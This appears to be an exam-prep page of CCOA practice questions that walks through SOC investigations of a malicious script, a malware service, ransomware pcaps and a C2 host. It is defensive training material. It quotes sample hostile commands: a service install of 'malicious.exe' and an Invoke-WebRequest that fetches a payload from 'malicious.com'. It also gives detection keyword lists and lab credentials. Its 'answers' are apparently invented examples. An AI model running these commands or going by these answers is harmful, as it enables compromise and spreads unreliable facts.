Free Practice Questions for Isaca CCOA Exam

To generate theSHA256 checksumof the file that triggeredRuleName: Suspicious PowerShellon theAccounting workstation, follow these detailed steps:

Step 1: Establish an SSH Connection

Open a terminal on your system.

Use the provided credentials to connect to theAccounting workstation:

ssh Accounting@

Replace with the actual IP address of the workstation.

Enter the password when prompted:

1x-4cc0unt1NG-x1

Step 2: Locate the Malicious File

Navigate to the typical directory where suspicious scripts are stored:

cd C:\Users\Accounting\AppData\Roaming

List the contents to identify the suspicious file:

dir

Look for a file related toPowerShell(e.g., calc.ps1), as the issue involved thecalculator opening repeatedly.

Step 3: Verify the Malicious File

To ensure it is the problematic file, check for recent modifications:

powershell

Get-ChildItem -Path "C:\Users\Accounting\AppData\Roaming" -Recurse | Where-Object { $_.LastWriteTime -ge (Get-Date).AddDays(-1) }

This will list files modified within the last 24 hours.

Check file properties:

powershell

Get-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" | Format-List *

Confirm it matches the file flagged byRuleName: Suspicious PowerShell.

Step 4: Generate the SHA256 Checksum

Method 1: Using PowerShell (Recommended)

Run the following command to generate the hash:

powershell

Get-FileHash "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Algorithm SHA256

Output Example:

mathematica

Algorithm Hash Path

--------- ---- ----

SHA256 d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d C:\Users\Accounting\AppData\Roaming\calc.ps1

Method 2: Using certutil (Alternative)

Run the following command:

cmd

certutil -hashfile "C:\Users\Accounting\AppData\Roaming\calc.ps1" SHA256

Example Output:

SHA256 hash of calc.ps1:

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

CertUtil: -hashfile command completed successfully.

Step 5: Copy and Paste the Hash

Copy theSHA256 hashfrom the output and paste it as required.

Answer:

nginx

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Step 6: Immediate Actions

Terminate the Malicious Process:

powershell

Stop-Process -Name "powershell" -Force

Delete the Malicious File:

powershell

Remove-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Force

Disable Startup Entry:

Check for any persistent scripts:

powershell

Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"

Remove any entries related to calc.ps1.

Step 7: Document the Incident

Record the following:

Filename:calc.ps1

File Path:C:\Users\Accounting\AppData\Roaming\

SHA256 Hash:d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Date of Detection:(Today’s date)

To identify thename of the servicethat the malware attempts to install from theMalscript.viruz.txtfile, follow these steps:

Step 1: Access the Analyst Desktop

Log into the Analyst Desktopusing your credentials.

Navigate to theMalware Samplesfolder located on the desktop.

Locate the file:

Malscript.viruz.txt

Step 2: Examine the File Contents

Open the file with a text editor:

Windows:Right-click > Open with > Notepad.

Linux:

cat ~/Desktop/Malware\ Samples/malscript.viruz.txt

Review the content to identify any lines that relate to:

Service creation

Service names

Installation commands

Common Keywords to Look For:

New-Service

sc create

Install-Service

Set-Service

net start

Step 3: Identify the Service Creation Command

Malware typically uses commands like:

powershell

New-Service -Name "MalService" -BinaryPathName "C:\Windows\malicious.exe"

or

cmd

sc create MalService binPath= "C:\Windows\System32\malicious.exe"

Focus on lines where the malware tries toregister or create a service.

Step 4: Example Content from Malscript.viruz.txt

arduino

powershell.exe -Command "New-Service -Name 'MaliciousUpdater' -DisplayName 'Updater Service' -BinaryPathName 'C:\Users\Public\updater.exe' -StartupType Automatic"

In this example, thename of the serviceis:

nginx

MaliciousUpdater

Step 5: Cross-Verification

Check for multiple occurrences of service creation in the script to ensure accuracy.

Verify that the identified service name matches theintended purposeof the malware.

Answer:

pg

The name of the service that the malware attempts to install is: MaliciousUpdater

Step 6: Immediate Action

Check for the Service:

powershell

Get-Service -Name "MaliciousUpdater"

Stop and Remove the Service:

powershell

Stop-Service -Name "MaliciousUpdater" -Force

sc delete "MaliciousUpdater"

Remove Associated Executable:

powershell

Remove-Item "C:\Users\Public\updater.exe" -Force

Step 7: Documentation

Record the following:

Service Name:MaliciousUpdater

Installation Command:Extracted from Malscript.viruz.txt

File Path:C:\Users\Public\updater.exe

Actions Taken:Stopped and deleted the service.

To decode theCommand and Control (C2) hostfrom thepcap_artifact5.txtfile, follow these detailed steps:

Step 1: Access the File

Log into the Analyst Desktop.

Navigate to theDesktopand locate the file:

pcap_artifact5.txt

Open the file using a text editor:

OnWindows:

nginx

notepad pcap_artifact5.txt

OnLinux:

cat ~/Desktop/pcap_artifact5.txt

Step 2: Examine the File Contents

Check the contents to identify the encoding format. Typical encodings used for C2 communication include:

Base64

Hexadecimal

URL Encoding

ROT13

Example File Content (Base64 format):

nginx

aHR0cDovLzEwLjEwLjQ0LjIwMDo4MDgwL2NvbW1hbmQucGhw

Step 3: Decode the Contents

Method 1: Using PowerShell (Windows)

OpenPowerShelland decode:

powershell

$encoded = Get-Content "C:\Users\\Desktop\pcap_artifact5.txt"

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))

This will print the decoded content directly.

Method 2: Using Linux

Usebase64 decoding:

base64 -d ~/Desktop/pcap_artifact5.txt

If the content ishexadecimal, convert it as follows:

xxd -r -p ~/Desktop/pcap_artifact5.txt

If it appearsURL encoded, use:

echo -e $(cat ~/Desktop/pcap_artifact5.txt | sed 's/%/\\x/g')

Step 4: Analyze the Decoded Output

If the output appears like a URL or an IP address, that is likely theC2 host.

Example Decoded Output:

arduino

http://10.10.44.200:8080/command.php

TheC2 hostis:

10.10.44.200

Step 5: Cross-Verify the C2 Host

OpenWiresharkand load the relevant PCAP file to cross-check the IP:

mathematica

File > Open > Desktop > Investigations > ransom.pcap

Filter for C2 traffic:

ini

ip.addr == 10.10.44.200

Validate the C2 host IP address through network traffic patterns.

Answer:

10.10.44.200

Step 6: Document the Finding

Record the following details:

Decoded C2 Host:10.10.44.200

Source File:pcap_artifact5.txt

Decoding Method:Base64 (or the identified method)

Step 7: Next Steps

Threat Mitigation:

Block the IP address10.10.44.200at the firewall.

Conduct anetwork-wide searchto identify any communications with the C2 server.

Further Analysis:

Check other PCAP files for similar traffic patterns.

Perform adeep packet inspection (DPI)to identify malicious data exfiltration.

To determine the physical address of the targeted web server, follow thesestep-by-step instructionsto analyze the logs in your SIEM system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to 1:00 AM on December 4, 2024).

Step 1: Understand the Context

Scenario:Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).

Objective:Identify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.

Step 2: Identify Relevant Log Sources

Logs to investigate:

PowerShell logs (Event ID 4104)for command execution.

Windows Security Event Logsfor login and access attempts.

Network Traffic Logs(firewall or IDS/IPS) to detect connections made by PowerShell.

Web Server Access Logsfor any unusual requests.

SIEM Log Sources:

Windows Event Logs (Sysmon/PowerShell)

Firewall Logs

IDS/IPS Alerts

Web Server Logs (IIS, Apache)

Step 3: Use SIEM Filters to Isolate Relevant Events

Time Frame Filter:

Set the time range from12:00 AM to 1:00 AMonDecember 4, 2024.

Event ID Filter:

Filter forEvent ID 4104(PowerShell script block logging).

Command Pattern:

Look for suspicious commands like:

Invoke-WebRequest

Invoke-Expression (IEX)

New-Object Net.WebClient

Process Name:

Filter logs where theProcess Nameis powershell.exe.

Example SIEM Query:

index=windows_logs

| search EventID=4104 ProcessName="powershell.exe"

| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"

| table _time, ProcessName, CommandLine, SourceIP, DestinationIP, MACAddress

Step 4: Correlate Events with Network Logs

Once you identify PowerShell events, correlate them withnetwork traffic logs.

Focus on:

Source IP Address: Where the PowerShell commands originated.

Destination IP Address: Targeted web server.

Use theIP address of the web serverto trace back theMAC address.

Example Network Log Query:

index=network_logs

| search DestinationIP=""

| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"

| table _time, SourceIP, DestinationIP, MACAddress, Protocol, Port

Step 5: Analyze the PowerShell Commands

Investigate the nature of the commands:

Data Exfiltration:Using Invoke-WebRequest to send data to external IPs.

Remote Code Execution:Using IEX to run downloaded scripts.

Cross-check commands against knownIndicators of Compromise (IOCs).

Step 6: Validate the Web Server's Physical Address

Identify theMAC addresscorresponding to the targeted web server.

Cross-reference withARP tables or DHCP logsto confirm the mapping between IP and MAC address.

Example ARP Command on Windows:

arp -a | findstr

Step 7: Report the Findings

Document the targeted server’sIP address and MAC address.

Summarize the malicious activity:

Commands executed

Time and duration

Source and destination IPs

Example Finding:

Web Server IP: 192.168.1.50

Physical (MAC) Address: 00:1A:2B:3C:4D:5E

Time of Attack: 12:30 AM, December 4, 2024

PowerShell Command: Invoke-WebRequest -Uri "http://malicious.com/payload"

Step 8: Take Immediate Actions

Isolate the affected server.

Block external IPs involved.

Terminate malicious PowerShell processes.

Conduct a forensic analysis of compromised systems.

Step 9: Strengthen Security Post-Incident

Implement PowerShell Logging:Enable detailed script block and module logging.

Enhance Network Monitoring:Set up alerts for unusual PowerShell activities.

User Behavior Analytics (UBA):Detect anomalous login patterns outside working hours.

To identify thefull User-Agent valueassociated with theransomware demand file downloadfrom theransom.pcapfile, follow these detailed steps:

Step 1: Access the PCAP File

Log into the Analyst Desktop.

Navigate to theInvestigationsfolder located on the desktop.

Locate the file:

ransom.pcap

Step 2: Open the PCAP File in Wireshark

LaunchWireshark.

Open the PCAP file:

mathematica

File > Open > Desktop > Investigations > ransom.pcap

ClickOpento load the file.

Step 3: Filter HTTP Traffic

Since ransomware demands are often served astext files (e.g., README.txt)via HTTP/S, use the following filter:

http.request or http.response

This filter will show bothHTTP GETandPOSTrequests.

Step 4: Locate the Ransomware Demand File Download

Look for HTTPGETrequests that include common ransomware filenames such as:

README.txt

DECRYPT_INSTRUCTIONS.html

HELP_DECRYPT.txt

Right-click on the suspicious HTTP packet and select:

arduino

Follow > HTTP Stream

Analyze theHTTP headersto find theUser-Agent.

Example HTTP Request:

GET /uploads/README.txt HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Step 5: Verify the User-Agent

Check multiple streams to ensure consistency.

Confirm that theUser-Agentbelongs to the same host(10.10.44.200)involved in the ransomware incident.

Answer:

swift

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Step 6: Document and Report

Record the User-Agent for analysis:

PCAP Filename:ransom.pcap

User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Related File:README.txt

Step 7: Next Steps

Forensic Analysis:

Look for more HTTP requests from the sameUser-Agent.

Monitor Network Activity:

Identify other systems with the same User-Agent pattern.

Block Malicious Traffic:

Update firewall rules to block any outbound connections to suspicious domains.

To identify thefilename containing the ransomware demandfrom theransom.pcapfile, follow these detailed steps:

Step 1: Access the PCAP File

Log into the Analyst Desktop.

Navigate to theInvestigationsfolder located on the desktop.

Locate the file:

ransom.pcap

Step 2: Open the PCAP File in Wireshark

LaunchWireshark.

Open the PCAP file:

mathematica

File > Open > Desktop > Investigations > ransom.pcap

ClickOpento load the file.

Step 3: Apply Relevant Filters

Since ransomware demands are often delivered through files or network shares, look for:

Common Protocols:

SMB(for network shares)

HTTP/HTTPS(for download or communication)

Apply a general filter to capture suspicious file transfers:

kotlin

http or smb or ftp-data

You can also filter based on file types or keywords related to ransomware:

frame contains "README" or frame contains "ransom"

Step 4: Identify Potential Ransomware Files

Look for suspicious file transfers:

CheckHTTP GET/POSTorSMB file writeoperations.

Analyze File Names:

Ransom notes commonly use filenames such as:

README.txt

DECRYPT_INSTRUCTIONS.html

HELP_DECRYPT.txt

Right-click on any suspicious packet and select:

arduino

Follow > TCP Stream

Inspect the content to see if it contains a ransom note or instructions.

Step 5: Extract the File

If you find a packet with afile transfer, extract it:

mathematica

File > Export Objects > HTTP or SMB

Save the suspicious file to analyze its contents.

Step 6: Example Packet Details

After filtering and following streams, you find a file transfer with the following details:

makefile

GET /uploads/README.txt HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0

After exporting, open the file and examine the content:

pg

Your files have been encrypted!

To recover them, you must pay in Bitcoin.

Read this file carefully for payment instructions.

Answer:

README.txt

Step 7: Confirm and Document

File Name:README.txt

Transmission Protocol:HTTP or SMB

Content:Contains ransomware demand and payment instructions.

Step 8: Immediate Actions

Isolate Infected Systems:

Disconnect compromised hosts from the network.

Preserve the PCAP and Extracted File:

Store them securely for forensic analysis.

Analyze the Ransomware Note:

Look for:

Bitcoin addresses

Contact instructions

Identifiers for ransomware family

Step 9: Report the Incident

Include the following details:

Filename:README.txt

Method of Delivery:HTTP (or SMB)

Ransomware Message:Payment in Bitcoin

Submit the report to your incident response team for further action.

To determine the host IP of the machine vulnerable toCVE-2021-22145usingGreenbone Vulnerability Manager (GVM), follow these detailed steps:

Step 1: Access Greenbone Vulnerability Manager

OpenFirefoxon your system.

Go to the GVM login page:

URL: https://10.10.55.4:9392

Enter the credentials:

Username: admin

Password: Secure-gvm!

ClickLoginto access the dashboard.

Step 2: Navigate to Scan Reports

Once logged in, locate the"Scans"menu on the left panel.

Click on"Reports"under the"Scans"section to view the list of completed vulnerability scans.

Step 3: Identify the Most Recent Scan

Check thedate and timeof the last completed scan, as your colleague likely used the latest one.

Click on theReport NameorDateto open the detailed scan results.

Step 4: Filter for CVE-2021-22145

In the report view, locate the"Search"or"Filter"box at the top.

Enter the CVE identifier:

CVE-2021-22145

PressEnterto filter the vulnerabilities.

Step 5: Analyze the Results

The system will display any host(s) affected byCVE-2021-22145.

The details will typically include:

Host IP Address

Vulnerability Name

Severity Level

Vulnerability Details

Example Display:

Host IP

Vulnerability ID

CVE

Severity

192.168.1.100

SomeVulnName

CVE-2021-22145

High

Step 6: Verify the Vulnerability

Click on the host IP to see thedetailed vulnerability description.

Check for the following:

Exploitability: Proof that the vulnerability can be actively exploited.

Description and Impact: Details about the vulnerability and its potential impact.

Fixes/Recommendations: Suggested mitigations or patches.

Step 7: Note the Vulnerable Host IP

The IP address that appears in the filtered list is thevulnerable machine.

Example Answer:

The host IP of the machine vulnerable to CVE-2021-22145 is: 192.168.1.100

Step 8: Take Immediate Actions

Isolate the affected machineto prevent exploitation.

Patch or updatethe software affected by CVE-2021-22145.

Perform a quick re-scanto ensure that the vulnerability has been mitigated.

Step 9: Generate a Report for Documentation

Export the filtered scan results as aPDForHTMLfrom the GVM.

Include:

Host IP

CVE ID

Severity and Risk Level

Remediation Steps

Background on CVE-2021-22145:

This CVE is related to a vulnerability in certain software, often associated withimproper access controlorauthentication bypass.

Attackers can exploit this to gain unauthorized access or escalate privileges.

To decode thetargetswithin the filepcap_artifact5.txt, follow these steps:

Step 1: Access the File

Log into the Analyst Desktop.

Navigate to theDesktopand locate the file:

pcap_artifact5.txt

Open the file using a text editor:

OnWindows:

nginx

notepad pcap_artifact5.txt

OnLinux:

cat ~/Desktop/pcap_artifact5.txt

Step 2: Examine the File Contents

Analyze the contents to identify the encoding format. Common formats include:

Base64

Hexadecimal

URL Encoding

ROT13

Example Encoded Data (Base64):

makefile

MTBjYWwuY29tL2V4YW0K

Y2xPdWQtczNjdXJlLmNvbQpjMGMwbnV0ZjRybXMubmV0CmgzYXZ5X3MzYXMuYml6CmI0ZGRhdGEub3JnCg==

Step 3: Decode the Contents

Method 1: Using PowerShell (Windows)

OpenPowerShell:

powershell

$encoded = Get-Content "C:\Users\\Desktop\pcap_artifact5.txt"

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))

This command will display the decoded targets.

Method 2: Using Linux

Usebase64 decoding:

base64 -d ~/Desktop/pcap_artifact5.txt

If the content appears to behexadecimal, use:

xxd -r -p ~/Desktop/pcap_artifact5.txt

ForURL encoding, use:

echo -e $(cat ~/Desktop/pcap_artifact5.txt | sed 's/%/\\x/g')

Step 4: Analyze the Decoded Output

The decoded content should reveal domain names or URLs.

Check for valid domain structures, such as:

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Example Decoded Output:

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Step 5: Verify the Decoded Targets

Cross-reference the decoded domains with knownthreat intelligence feedsto check for any malicious indicators.

Use tools likeVirusTotalorURLHausto verify the domains.

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Step 6: Document the Finding

Decoded Targets:

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Source File:pcap_artifact5.txt

Decoding Method:Base64 (or the identified method)